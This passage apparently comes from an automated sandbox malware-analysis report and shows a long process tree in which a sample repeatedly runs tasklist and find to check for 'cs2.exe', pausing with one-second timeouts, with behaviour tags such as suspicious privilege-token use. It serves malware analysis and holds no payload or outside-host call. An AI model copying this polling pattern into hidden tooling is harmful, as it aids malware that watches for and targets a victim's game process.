  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2820
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4900
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3880
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2804
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2288
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4852
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2040
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4124
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2120
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4372
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:6088
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:4252
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4144
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5240
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4392
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2532
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2780
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5060
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4980
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:6048
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:412
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1660
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3112
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3948
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5916
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4796
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4896
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1584
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3556
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4716
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:568
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3596
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4496
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4636
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1620
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5496
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4624
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4316
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4276
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2396
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4684
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5824
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1136
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:124
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5844
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5816
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5880
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:6096
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4872
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1676
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1064
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5216
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:820
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2752
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1988
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5892
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:264
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1564
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1352
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:5336
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:3032
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1996
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:5540
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:3916
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4448
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:5228
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5428
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4128
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:2960
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1228
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1356
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5948
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2524
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1300
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:200
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2584
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3320
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:2928
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:968
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1812
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:1592
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5080
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2820
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:484
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:864
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2804
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:1092
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4240
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2040
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:624
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4368
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4372
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5516
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2004
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4144
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:3008
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2900
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4108
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:1168
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4576
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1212
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:2848
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5248
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3316
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5592
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4408
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2624
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:4616
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5332
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4324
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:2604
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:3388
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5952
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:3596
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4284
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4636
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:1416
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:3340
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5652
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:1444
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1520
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4964
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:3012
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5440
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3852
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:5824
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1136
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2412
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:1636
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5964
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5252
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5880
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:716
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3404
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:3024
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1488
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5216
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5168
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:3192
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2720
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:3952
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:808
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3664
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:4720
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5736
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4456
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:5548
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:3580
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2592
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:1720
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2944
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4876
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:5492
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4292
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:6064
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:1460
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4260
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5676
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:2152
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1476
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3468
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:1228
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5932
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2808
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:248
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1356
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4648
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:3356
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2344
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1124
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:4572
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:200
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3936
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5436
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2928
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2620
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:1156
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5220
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2732
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:4900
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4416
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4660
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:3396
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1004
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4240
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:5664
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2040
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2736
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:2120
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2852
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:6088
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:2004
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4252
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3716
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:2760
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4480
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3056
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:4568
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:3960
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3004
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:940
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:6048
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3828
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5248
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:3600
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5612
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:5592
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4796
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4680
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:5332
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5688
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5000
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:3616
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:3840
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3596
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:4064
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2328
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3780
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:5496
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5652
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2364
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:6092
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4964
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5364
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:5824
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1136
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5844
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:5252
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:5544
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5308
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:3152
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1676
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5904
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5804
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:712
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2720
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:3160
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2244
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3664
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:3476
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1936
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2384
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:1996
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1624
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4396
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:2104
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4524
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:2980
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:4448
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:436
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:5148
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:852
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:1916
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:6132
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:4244
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2824
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:4360
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:1244
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4184
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:1500
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:3592
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:248
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      PID:3332
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:4580
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:2420
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2440
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      PID:964
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:4572
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:968
  - - C:\Windows\system32\tasklist.exe
      tasklist /fi "imagename eq cs2.exe"
      4⤵
      Enumerates processes with tasklist
      PID:4516
  - - C:\Windows\system32\find.exe
      find /I /N "cs2.exe"
      4⤵
      PID:3932
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
